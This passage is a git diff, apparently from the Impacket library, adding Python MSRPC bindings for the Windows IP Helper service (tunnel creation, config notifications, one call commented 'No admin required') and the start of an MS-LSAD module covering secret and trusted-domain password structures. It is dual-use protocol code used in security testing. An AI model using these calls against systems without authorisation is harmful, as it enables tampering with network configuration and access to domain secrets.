+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Implementation of iphlpsvc.dll MSRPC calls (Service that offers IPv6 connectivity over an IPv4 network)
+#
+# Authors:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+
+from socket import inet_aton
+
+from impacket import uuid
+from impacket import hresult_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.dtypes import BYTE, ULONG, WSTR, GUID, NULL
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+MSRPC_UUID_IPHLP_IP_TRANSITION   = uuidtup_to_bin(('552d076a-cb29-4e44-8b6a-d15e59e2c0af', '1.0'))
+
+# RPC_IF_ALLOW_LOCAL_ONLY
+MSRPC_UUID_IPHLP_TEREDO          = uuidtup_to_bin(('ecbdb051-f208-46b9-8c8b-648d9d3f3944', '1.0'))
+MSRPC_UUID_IPHLP_TEREDO_CONSUMER = uuidtup_to_bin(('1fff8faa-ec23-4e3f-a8ce-4b2f8707e636', '1.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
+            return 'IPHLP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'IPHLP SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+
+# Notification types
+NOTIFICATION_ISATAP_CONFIGURATION_CHANGE               = 0
+NOTIFICATION_PROCESS6TO4_CONFIGURATION_CHANGE          = 1
+NOTIFICATION_TEREDO_CONFIGURATION_CHANGE               = 2
+NOTIFICATION_IP_TLS_CONFIGURATION_CHANGE               = 3
+NOTIFICATION_PORT_CONFIGURATION_CHANGE                 = 4
+NOTIFICATION_DNS64_CONFIGURATION_CHANGE                = 5
+NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX = 6
+
+################################################################################
+# STRUCTURES
+################################################################################
+
+class BYTE_ARRAY(NDRUniConformantArray):
+    item = 'c'
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+# Opnum 0
+class IpTransitionProtocolApplyConfigChanges(NDRCALL):
+    opnum = 0
+    structure = (
+       ('NotificationNum', BYTE),
+    )
+
+class IpTransitionProtocolApplyConfigChangesResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', ULONG),
+    )
+
+# Opnum 1
+class IpTransitionProtocolApplyConfigChangesEx(NDRCALL):
+    opnum = 1
+    structure = (
+       ('NotificationNum', BYTE),
+       ('DataLength', ULONG),
+       ('Data', BYTE_ARRAY),
+    )
+
+class IpTransitionProtocolApplyConfigChangesExResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', ULONG),
+    )
+
+# Opnum 2
+class IpTransitionCreatev6Inv4Tunnel(NDRCALL):
+    opnum = 2
+    structure = (
+       ('LocalAddress', "4s=''"),
+       ('RemoteAddress', "4s=''"),
+       ('InterfaceName', WSTR),
+    )
+
+class IpTransitionCreatev6Inv4TunnelResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', ULONG),
+    )
+
+# Opnum 3
+class IpTransitionDeletev6Inv4Tunnel(NDRCALL):
+    opnum = 3
+    structure = (
+       ('TunnelGuid', GUID),
+    )
+
+class IpTransitionDeletev6Inv4TunnelResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+
+OPNUMS = {
+ 0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse),
+ 1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse),
+ 2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse),
+ 3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse)
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+# For all notifications except EX
+def hIpTransitionProtocolApplyConfigChanges(dce, notification_num):
+    request = IpTransitionProtocolApplyConfigChanges()
+    request['NotificationNum'] = notification_num
+
+    return dce.request(request)
+
+# Only for NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX
+# No admin required
+def hIpTransitionProtocolApplyConfigChangesEx(dce, notification_num, notification_data):
+    request = IpTransitionProtocolApplyConfigChangesEx()
+    request['NotificationNum'] = notification_num
+    request['DataLength'] = len(notification_data)
+    request['Data'] = notification_data
+
+    return dce.request(request)
+
+# Same as netsh interface ipv6 add v6v4tunnel "Test Tunnel" 192.168.0.1 10.0.0.5
+def hIpTransitionCreatev6Inv4Tunnel(dce, local_address, remote_address, interface_name):
+    request = IpTransitionCreatev6Inv4Tunnel()
+    request['LocalAddress'] = inet_aton(local_address)
+    request['RemoteAddress'] = inet_aton(remote_address)
+
+    request['InterfaceName'] = checkNullString(interface_name)
+    request.fields['InterfaceName'].fields['MaximumCount'] = 256
+
+    return dce.request(request)
+
+def hIpTransitionDeletev6Inv4Tunnel(dce, tunnel_guid):
+    request = IpTransitionDeletev6Inv4Tunnel()
+    request['TunnelGuid'] = uuid.string_to_bin(tunnel_guid)
+
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/lsad.py b/impacket/dcerpc/v5/lsad.py
new file mode 100644
index 0000000..5bb1b01
--- /dev/null
+++ b/impacket/dcerpc/v5/lsad.py
@@ -0,0 +1,1668 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-LSAD] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \
+    NDRUniConformantArray
+from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \
+    LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \
+    SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION
+from impacket import nt_errors
+from impacket.uuid import uuidtup_to_bin
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+MSRPC_UUID_LSAD  = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in nt_errors.ERROR_MESSAGES:
+            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 
+            return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.1.1.2 ACCESS_MASK for Policy Objects
+POLICY_VIEW_LOCAL_INFORMATION   = 0x00000001
+POLICY_VIEW_AUDIT_INFORMATION   = 0x00000002
+POLICY_GET_PRIVATE_INFORMATION  = 0x00000004
+POLICY_TRUST_ADMIN              = 0x00000008
+POLICY_CREATE_ACCOUNT           = 0x00000010
+POLICY_CREATE_SECRET            = 0x00000020
+POLICY_CREATE_PRIVILEGE         = 0x00000040
+POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080
+POLICY_SET_AUDIT_REQUIREMENTS   = 0x00000100
+POLICY_AUDIT_LOG_ADMIN          = 0x00000200
+POLICY_SERVER_ADMIN             = 0x00000400
+POLICY_LOOKUP_NAMES             = 0x00000800
+POLICY_NOTIFICATION             = 0x00001000
+
+# 2.2.1.1.3 ACCESS_MASK for Account Objects
+ACCOUNT_VIEW                 = 0x00000001
+ACCOUNT_ADJUST_PRIVILEGES    = 0x00000002
+ACCOUNT_ADJUST_QUOTAS        = 0x00000004
+ACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008
+
+# 2.2.1.1.4 ACCESS_MASK for Secret Objects
+SECRET_SET_VALUE   = 0x00000001
+SECRET_QUERY_VALUE = 0x00000002
+
+# 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects
+TRUSTED_QUERY_DOMAIN_NAME = 0x00000001
+TRUSTED_QUERY_CONTROLLERS = 0x00000002
+TRUSTED_SET_CONTROLLERS   = 0x00000004
+TRUSTED_QUERY_POSIX       = 0x00000008
+TRUSTED_SET_POSIX         = 0x00000010
+TRUSTED_SET_AUTH          = 0x00000020
+TRUSTED_QUERY_AUTH        = 0x00000040
+
+# 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE
+POLICY_MODE_INTERACTIVE             = 0x00000001
+POLICY_MODE_NETWORK                 = 0x00000002
+POLICY_MODE_BATCH                   = 0x00000004
+POLICY_MODE_SERVICE                 = 0x00000010
+POLICY_MODE_DENY_INTERACTIVE        = 0x00000040
+POLICY_MODE_DENY_NETWORK            = 0x00000080
+POLICY_MODE_DENY_BATCH              = 0x00000100
+POLICY_MODE_DENY_SERVICE            = 0x00000200
+POLICY_MODE_REMOTE_INTERACTIVE      = 0x00000400
+POLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800
+POLICY_MODE_ALL                     = 0x00000FF7
+POLICY_MODE_ALL_NT4                 = 0x00000037
+
+# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO
+# EventAuditingOptions
+POLICY_AUDIT_EVENT_UNCHANGED = 0x00000000
+POLICY_AUDIT_EVENT_NONE      = 0x00000004
+POLICY_AUDIT_EVENT_SUCCESS   = 0x00000001
+POLICY_AUDIT_EVENT_FAILURE   = 0x00000002
+
+# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO
+# AuthenticationOptions
+POLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080
+
+# 2.2.7.21 LSA_FOREST_TRUST_RECORD
+# Flags
+LSA_TLN_DISABLED_NEW          = 0x00000001
+LSA_TLN_DISABLED_ADMIN        = 0x00000002
+LSA_TLN_DISABLED_CONFLICT     = 0x00000004
+LSA_SID_DISABLED_ADMIN        = 0x00000001
+LSA_SID_DISABLED_CONFLICT     = 0x00000002
+LSA_NB_DISABLED_ADMIN         = 0x00000004
+LSA_NB_DISABLED_CONFLICT      = 0x00000008
+LSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.2.1 LSAPR_HANDLE
+class LSAPR_HANDLE(NDRSTRUCT):
+    align = 1
+    structure =  (
+        ('Data','20s=""'),
+    )
+
+# 2.2.2.3 LSA_UNICODE_STRING
+LSA_UNICODE_STRING = RPC_UNICODE_STRING
+
+# 2.2.3.1 STRING
+class STRING(NDRSTRUCT):
+    commonHdr = (
+        ('MaximumLength','<H=len(Data)-12'),
+        ('Length','<H=len(Data)-12'),
+        ('ReferentID','<L=0xff'),
+    )
+    commonHdr64 = (
+        ('MaximumLength','<H=len(Data)-24'),
+        ('Length','<H=len(Data)-24'),
+        ('ReferentID','<Q=0xff'),
+    )
+
+    referent = (
+        ('Data',STR),
+    )
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+        # Here just print the data
+        print(" %r" % (self['Data']), end=' ')
+
+    def __setitem__(self, key, value):
+        if key == 'Data':
+            self.fields['MaximumLength'] = None
+            self.fields['Length'] = None
+            self.data = None        # force recompute
+        return NDR.__setitem__(self, key, value)
+
+# 2.2.3.2 LSAPR_ACL
+class LSAPR_ACL(NDRSTRUCT):
+    structure =  (
+        ('AclRevision', UCHAR),
+        ('Sbz1', UCHAR),
+        ('AclSize', USHORT),
+        ('Dummy1',NDRUniConformantArray),
+    )
+
+# 2.2.3.4 LSAPR_SECURITY_DESCRIPTOR
+LSAPR_SECURITY_DESCRIPTOR = SECURITY_DESCRIPTOR
+
+class PLSAPR_SECURITY_DESCRIPTOR(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_SECURITY_DESCRIPTOR),
+    )
+
+# 2.2.3.5 SECURITY_IMPERSONATION_LEVEL
+class SECURITY_IMPERSONATION_LEVEL(NDRENUM):
+    class enumItems(Enum):
+        SecurityAnonymous      = 0
+        SecurityIdentification = 1
+        SecurityImpersonation  = 2
+        SecurityDelegation     = 3
+
+# 2.2.3.6 SECURITY_CONTEXT_TRACKING_MODE
+SECURITY_CONTEXT_TRACKING_MODE = UCHAR
+
+# 2.2.3.7 SECURITY_QUALITY_OF_SERVICE
+class SECURITY_QUALITY_OF_SERVICE(NDRSTRUCT):
+    structure = (
+        ('Length', DWORD), 
+        ('ImpersonationLevel', SECURITY_IMPERSONATION_LEVEL), 
+        ('ContextTrackingMode', SECURITY_CONTEXT_TRACKING_MODE), 
+        ('EffectiveOnly', UCHAR), 
+    )
+
+class PSECURITY_QUALITY_OF_SERVICE(NDRPOINTER):
+    referent = (
+        ('Data', SECURITY_QUALITY_OF_SERVICE),
+    )
+
+# 2.2.2.4 LSAPR_OBJECT_ATTRIBUTES
+class LSAPR_OBJECT_ATTRIBUTES(NDRSTRUCT):
+    structure = (
+        ('Length', DWORD), 
+        ('RootDirectory', LPWSTR), 
+        ('ObjectName', LPWSTR), 
+        ('Attributes', DWORD), 
+        ('SecurityDescriptor', PLSAPR_SECURITY_DESCRIPTOR), 
+        ('SecurityQualityOfService', PSECURITY_QUALITY_OF_SERVICE), 
+    )
+
+# 2.2.2.5 LSAPR_SR_SECURITY_DESCRIPTOR
+class LSAPR_SR_SECURITY_DESCRIPTOR(NDRSTRUCT):
+    structure = (
+        ('Length', DWORD), 
+        ('SecurityDescriptor', LPBYTE), 
+    )
+
+class PLSAPR_SR_SECURITY_DESCRIPTOR(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_SR_SECURITY_DESCRIPTOR),
+    )
+
+# 2.2.3.3 SECURITY_DESCRIPTOR_CONTROL
+SECURITY_DESCRIPTOR_CONTROL = ULONG
+
+# 2.2.4.1 POLICY_INFORMATION_CLASS
+class POLICY_INFORMATION_CLASS(NDRENUM):
+    class enumItems(Enum):
+        PolicyAuditLogInformation           = 1
+        PolicyAuditEventsInformation        = 2
+        PolicyPrimaryDomainInformation      = 3
+        PolicyPdAccountInformation          = 4
+        PolicyAccountDomainInformation      = 5
+        PolicyLsaServerRoleInformation      = 6
+        PolicyReplicaSourceInformation      = 7
+        PolicyInformationNotUsedOnWire      = 8
+        PolicyModificationInformation       = 9
+        PolicyAuditFullSetInformation       = 10
+        PolicyAuditFullQueryInformation     = 11
+        PolicyDnsDomainInformation          = 12
+        PolicyDnsDomainInformationInt       = 13
+        PolicyLocalAccountDomainInformation = 14
+        PolicyLastEntry                     = 15
+
+# 2.2.4.3 POLICY_AUDIT_LOG_INFO
+class POLICY_AUDIT_LOG_INFO(NDRSTRUCT):
+    structure = (
+        ('AuditLogPercentFull', DWORD), 
+        ('MaximumLogSize', DWORD), 
+        ('AuditRetentionPeriod', LARGE_INTEGER), 
+        ('AuditLogFullShutdownInProgress', UCHAR), 
+        ('TimeToShutdown', LARGE_INTEGER), 
+        ('NextAuditRecordId', DWORD), 
+    )
+
+# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO
+class DWORD_ARRAY(NDRUniConformantArray):
+    item = DWORD
+
+class PDWORD_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', DWORD_ARRAY),
+    )
+
+class LSAPR_POLICY_AUDIT_EVENTS_INFO(NDRSTRUCT):
+    structure = (
+        ('AuditingMode', UCHAR), 
+        ('EventAuditingOptions', PDWORD_ARRAY), 
+        ('MaximumAuditEventCount', DWORD), 
+    )
+
+# 2.2.4.5 LSAPR_POLICY_PRIMARY_DOM_INFO
+class LSAPR_POLICY_PRIMARY_DOM_INFO(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
+        ('Sid', PRPC_SID), 
+    )
+
+# 2.2.4.6 LSAPR_POLICY_ACCOUNT_DOM_INFO
+class LSAPR_POLICY_ACCOUNT_DOM_INFO(NDRSTRUCT):
+    structure = (
+        ('DomainName', RPC_UNICODE_STRING), 
+        ('DomainSid', PRPC_SID), 
+    )
+
+# 2.2.4.7 LSAPR_POLICY_PD_ACCOUNT_INFO
+class LSAPR_POLICY_PD_ACCOUNT_INFO(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
+    )
+
+# 2.2.4.8 POLICY_LSA_SERVER_ROLE
+class POLICY_LSA_SERVER_ROLE(NDRENUM):
+    class enumItems(Enum):
+        PolicyServerRoleBackup   = 2
+        PolicyServerRolePrimary  = 3
+
+# 2.2.4.9 POLICY_LSA_SERVER_ROLE_INFO
+class POLICY_LSA_SERVER_ROLE_INFO(NDRSTRUCT):
+    structure = (
+        ('LsaServerRole', POLICY_LSA_SERVER_ROLE), 
+    )
+
+# 2.2.4.10 LSAPR_POLICY_REPLICA_SRCE_INFO
+class LSAPR_POLICY_REPLICA_SRCE_INFO(NDRSTRUCT):
+    structure = (
+        ('ReplicaSource', RPC_UNICODE_STRING), 
+        ('ReplicaAccountName', RPC_UNICODE_STRING), 
+    )
+
+# 2.2.4.11 POLICY_MODIFICATION_INFO
+class POLICY_MODIFICATION_INFO(NDRSTRUCT):
+    structure = (
+        ('ModifiedId', LARGE_INTEGER), 
+        ('DatabaseCreationTime', LARGE_INTEGER), 
+    )
+
+# 2.2.4.12 POLICY_AUDIT_FULL_SET_INFO
+class POLICY_AUDIT_FULL_SET_INFO(NDRSTRUCT):
+    structure = (
+        ('ShutDownOnFull', UCHAR), 
+    )
+
+# 2.2.4.13 POLICY_AUDIT_FULL_QUERY_INFO
+class POLICY_AUDIT_FULL_QUERY_INFO(NDRSTRUCT):
+    structure = (
+        ('ShutDownOnFull', UCHAR), 
+        ('LogIsFull', UCHAR), 
+    )
+
+# 2.2.4.14 LSAPR_POLICY_DNS_DOMAIN_INFO
+class LSAPR_POLICY_DNS_DOMAIN_INFO(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
+        ('DnsDomainName', RPC_UNICODE_STRING), 
+        ('DnsForestName', RPC_UNICODE_STRING), 
+        ('DomainGuid', GUID), 
+        ('Sid', PRPC_SID), 
+    )
+
+# 2.2.4.2 LSAPR_POLICY_INFORMATION
+class LSAPR_POLICY_INFORMATION(NDRUNION):
+    union = {
+        POLICY_INFORMATION_CLASS.PolicyAuditLogInformation          : ('PolicyAuditLogInfo', POLICY_AUDIT_LOG_INFO),
+        POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation       : ('PolicyAuditEventsInfo', LSAPR_POLICY_AUDIT_EVENTS_INFO),
+        POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation     : ('PolicyPrimaryDomainInfo', LSAPR_POLICY_PRIMARY_DOM_INFO),
+        POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation     : ('PolicyAccountDomainInfo', LSAPR_POLICY_ACCOUNT_DOM_INFO),
+        POLICY_INFORMATION_CLASS.PolicyPdAccountInformation         : ('PolicyPdAccountInfo', LSAPR_POLICY_PD_ACCOUNT_INFO),
+        POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation     : ('PolicyServerRoleInfo', POLICY_LSA_SERVER_ROLE_INFO),
+        POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation     : ('PolicyReplicaSourceInfo', LSAPR_POLICY_REPLICA_SRCE_INFO),
+        POLICY_INFORMATION_CLASS.PolicyModificationInformation      : ('PolicyModificationInfo', POLICY_MODIFICATION_INFO),
+        POLICY_INFORMATION_CLASS.PolicyAuditFullSetInformation      : ('PolicyAuditFullSetInfo', POLICY_AUDIT_FULL_SET_INFO),
+        POLICY_INFORMATION_CLASS.PolicyAuditFullQueryInformation    : ('PolicyAuditFullQueryInfo', POLICY_AUDIT_FULL_QUERY_INFO),
+        POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation         : ('PolicyDnsDomainInfo', LSAPR_POLICY_DNS_DOMAIN_INFO),
+        POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt      : ('PolicyDnsDomainInfoInt', LSAPR_POLICY_DNS_DOMAIN_INFO),
+        POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation: ('PolicyLocalAccountDomainInfo', LSAPR_POLICY_ACCOUNT_DOM_INFO),
+    }
+
+class PLSAPR_POLICY_INFORMATION(NDRPOINTER):
+    referent = (
+       ('Data', LSAPR_POLICY_INFORMATION),
+    )
+
+# 2.2.4.15 POLICY_DOMAIN_INFORMATION_CLASS
+class POLICY_DOMAIN_INFORMATION_CLASS(NDRENUM):
+    class enumItems(Enum):
+        PolicyDomainQualityOfServiceInformation = 1
+        PolicyDomainEfsInformation              = 2
+        PolicyDomainKerberosTicketInformation   = 3
+
+# 2.2.4.17 POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO
+class POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO(NDRSTRUCT):
+    structure = (
+        ('QualityOfService', DWORD), 
+    )
+
+# 2.2.4.18 LSAPR_POLICY_DOMAIN_EFS_INFO
+class LSAPR_POLICY_DOMAIN_EFS_INFO(NDRSTRUCT):
+    structure = (
+        ('InfoLength', DWORD), 
+        ('EfsBlob', LPBYTE), 
+    )
+
+# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO
+class POLICY_DOMAIN_KERBEROS_TICKET_INFO(NDRSTRUCT):
+    structure = (
+        ('AuthenticationOptions', DWORD), 
+        ('MaxServiceTicketAge', LARGE_INTEGER), 
+        ('MaxTicketAge', LARGE_INTEGER), 
+        ('MaxRenewAge', LARGE_INTEGER), 
+        ('MaxClockSkew', LARGE_INTEGER), 
+        ('Reserved', LARGE_INTEGER), 
+    )
+
+# 2.2.4.16 LSAPR_POLICY_DOMAIN_INFORMATION
+class LSAPR_POLICY_DOMAIN_INFORMATION(NDRUNION):
+    union = {
+        POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation : ('PolicyDomainQualityOfServiceInfo', POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO ),
+        POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation              : ('PolicyDomainEfsInfo', LSAPR_POLICY_DOMAIN_EFS_INFO),
+        POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation   : ('PolicyDomainKerbTicketInfo', POLICY_DOMAIN_KERBEROS_TICKET_INFO),
+    }
+
+class PLSAPR_POLICY_DOMAIN_INFORMATION(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_POLICY_DOMAIN_INFORMATION),
+    )
+
+# 2.2.4.20 POLICY_AUDIT_EVENT_TYPE
+class POLICY_AUDIT_EVENT_TYPE(NDRENUM):
+    class enumItems(Enum):
+        AuditCategorySystem                 = 0
+        AuditCategoryLogon                  = 1
+        AuditCategoryObjectAccess           = 2
+        AuditCategoryPrivilegeUse           = 3
+        AuditCategoryDetailedTracking       = 4
+        AuditCategoryPolicyChange           = 5
+        AuditCategoryAccountManagement      = 6
+        AuditCategoryDirectoryServiceAccess = 7
+        AuditCategoryAccountLogon           = 8
+
+# 2.2.5.1 LSAPR_ACCOUNT_INFORMATION
+class LSAPR_ACCOUNT_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Sid', PRPC_SID), 
+    )
+
+# 2.2.5.2 LSAPR_ACCOUNT_ENUM_BUFFER
+class LSAPR_ACCOUNT_INFORMATION_ARRAY(NDRUniConformantArray):
+    item = LSAPR_ACCOUNT_INFORMATION
+
+class PLSAPR_ACCOUNT_INFORMATION_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_ACCOUNT_INFORMATION_ARRAY),
+    )
+
+class LSAPR_ACCOUNT_ENUM_BUFFER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG), 
+        ('Information', PLSAPR_ACCOUNT_INFORMATION_ARRAY), 
+    )
+
+# 2.2.5.3 LSAPR_USER_RIGHT_SET
+class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
+    item = RPC_UNICODE_STRING
+
+class PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', RPC_UNICODE_STRING_ARRAY),
+    )
+
+class LSAPR_USER_RIGHT_SET(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG), 
+        ('UserRights', PRPC_UNICODE_STRING_ARRAY), 
+    )
+
+# 2.2.5.4 LSAPR_LUID_AND_ATTRIBUTES
+class LSAPR_LUID_AND_ATTRIBUTES(NDRSTRUCT):
+    structure = (
+        ('Luid', LUID), 
+        ('Attributes', ULONG), 
+    )
+
+# 2.2.5.5 LSAPR_PRIVILEGE_SET
+class LSAPR_LUID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):
+    item = LSAPR_LUID_AND_ATTRIBUTES
+
+class LSAPR_PRIVILEGE_SET(NDRSTRUCT):
+    structure = (
+        ('PrivilegeCount', ULONG), 
+        ('Control', ULONG), 
+        ('Privilege', LSAPR_LUID_AND_ATTRIBUTES_ARRAY), 
+    )
+
+class PLSAPR_PRIVILEGE_SET(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_PRIVILEGE_SET),
+    )
+
+# 2.2.6.1 LSAPR_CR_CIPHER_VALUE
+class PCHAR_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NDRUniConformantVaryingArray),
+    )
+
+class LSAPR_CR_CIPHER_VALUE(NDRSTRUCT):
+    structure = (
+        ('Length', LONG), 
+        ('MaximumLength', LONG), 
+        ('Buffer', PCHAR_ARRAY), 
+    )
+
+class PLSAPR_CR_CIPHER_VALUE(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_CR_CIPHER_VALUE), 
+    )
+
+class PPLSAPR_CR_CIPHER_VALUE(NDRPOINTER):
+    referent = (
+        ('Data', PLSAPR_CR_CIPHER_VALUE),
+    )
+
+# 2.2.7.1 LSAPR_TRUST_INFORMATION
+class LSAPR_TRUST_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
+        ('Sid', PRPC_SID), 
+    )
+
+# 2.2.7.2 TRUSTED_INFORMATION_CLASS
+class TRUSTED_INFORMATION_CLASS(NDRENUM):
+    class enumItems(Enum):
+        TrustedDomainNameInformation          = 1
+        TrustedControllersInformation         = 2
+        TrustedPosixOffsetInformation         = 3
+        TrustedPasswordInformation            = 4
+        TrustedDomainInformationBasic         = 5
+        TrustedDomainInformationEx            = 6
+        TrustedDomainAuthInformation          = 7
+        TrustedDomainFullInformation          = 8
+        TrustedDomainAuthInformationInternal  = 9
+        TrustedDomainFullInformationInternal  = 10
+        TrustedDomainInformationEx2Internal   = 11
+        TrustedDomainFullInformation2Internal = 12
+        TrustedDomainSupportedEncryptionTypes = 13
+
+# 2.2.7.4 LSAPR_TRUSTED_DOMAIN_NAME_INFO
+class LSAPR_TRUSTED_DOMAIN_NAME_INFO(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
+    )
+
+# 2.2.7.5 LSAPR_TRUSTED_CONTROLLERS_INFO
+class LSAPR_TRUSTED_CONTROLLERS_INFO(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG), 
+        ('Names', PRPC_UNICODE_STRING_ARRAY), 
+    )
+
+# 2.2.7.6 TRUSTED_POSIX_OFFSET_INFO
+class TRUSTED_POSIX_OFFSET_INFO(NDRSTRUCT):
+    structure = (
+        ('Offset', ULONG), 
+    )
+
+# 2.2.7.7 LSAPR_TRUSTED_PASSWORD_INFO
+class LSAPR_TRUSTED_PASSWORD_INFO(NDRSTRUCT):
+    structure = (
+        ('Password', PLSAPR_CR_CIPHER_VALUE), 
+        ('OldPassword', PLSAPR_CR_CIPHER_VALUE), 
+    )
+
+# 2.2.7.8 LSAPR_TRUSTED_DOMAIN_INFORMATION_BASIC
+LSAPR_TRUSTED_DOMAIN_INFORMATION_BASIC = LSAPR_TRUST_INFORMATION
+
+# 2.2.7.9 LSAPR_TRUSTED_DOMAIN_INFORMATION_EX
+class LSAPR_TRUSTED_DOMAIN_INFORMATION_EX(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
